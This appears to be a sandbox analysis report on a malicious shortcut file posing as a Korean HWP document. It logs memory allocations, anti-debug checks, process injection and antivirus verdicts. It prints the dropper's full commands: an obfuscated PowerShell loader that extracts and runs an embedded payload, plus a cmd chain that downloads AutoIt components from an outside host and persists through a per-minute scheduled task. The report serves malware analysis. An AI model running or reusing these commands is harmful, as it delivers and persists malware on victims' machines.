protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file C:\Users\test22\AppData\Local\Temp\1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>$sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=$sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.count;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($thumb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu Eqav#>remove-item -path $turtle -force;<#FXh smYo#>"
cmdline schtasks /delete /tn "xNQbMGm" /f
cmdline "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>$sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=$sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.count;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($thumb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu Eqav#>remove-item -path $turtle -force;<#FXh smYo#>"&mkdir c:\VezoQcO & attrib +h c:\VezoQcO & cd /d c:\VezoQcO & copy c:\windows\system32\curl.exe VezoQcO.exe & VezoQcO -k -o AutoIt3.exe https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super^&za=mongo0 & VezoQcO -k -o xNQbMGm.au3 https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super^&za=mongo1 & s^ch^ta^sks /delete /tn "xNQbMGm" /f & s^ch^ta^sks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
cmdline schtasks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline schtasks /delete /tn "xNQbMGm" /f
cmdline "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>$sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=$sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.count;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($thumb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu Eqav#>remove-item -path $turtle -force;<#FXh smYo#>"&mkdir c:\VezoQcO & attrib +h c:\VezoQcO & cd /d c:\VezoQcO & copy c:\windows\system32\curl.exe VezoQcO.exe & VezoQcO -k -o AutoIt3.exe https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super^&za=mongo0 & VezoQcO -k -o xNQbMGm.au3 https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super^&za=mongo1 & s^ch^ta^sks /delete /tn "xNQbMGm" /f & s^ch^ta^sks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
cmdline schtasks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
cmdline attrib +h c:\VezoQcO
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
cmdline schtasks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
Process injection Process 2556 resumed a thread in remote process 2668
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000338
suspend_count: 1
process_identifier: 2668
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Lionic Trojan.WinLNK.Pantera.a!c
Skyhigh BehavesLike.Dropper.vg
VIPRE Heur.BZC.YAX.Pantera.190.35EE252B
Arcabit Heur.BZC.YAX.Pantera.190.35EE252B [many]
Symantec CL.Downloader!gen20
Avast LNK:Agent-HN [Trj]
Kaspersky HEUR:Trojan-Downloader.WinLNK.Agent.gen
BitDefender Heur.BZC.YAX.Pantera.190.35EE252B
MicroWorld-eScan Heur.BZC.YAX.Pantera.190.35EE252B
Emsisoft Heur.BZC.YAX.Pantera.190.35EE252B (B)
TrendMicro HEUR_LNKEXEC.A
FireEye Heur.BZC.YAX.Pantera.190.35EE252B
Sophos Troj/LnkDrop-M
Google Detected
MAX malware (ai score=84)
Kingsoft Script.Troj.BigLnk.22142
ZoneAlarm HEUR:Trojan.WinLNK.Agent.gen
GData Heur.BZC.YAX.Pantera.190.38E1CBE1
VBA32 Trojan.Link.Crafted
Zoner Probably Heur.LNKScript
SentinelOne Static AI - Suspicious LNK
AVG LNK:Agent-HN [Trj]
alibabacloud Trojan:Win/BZC.YMF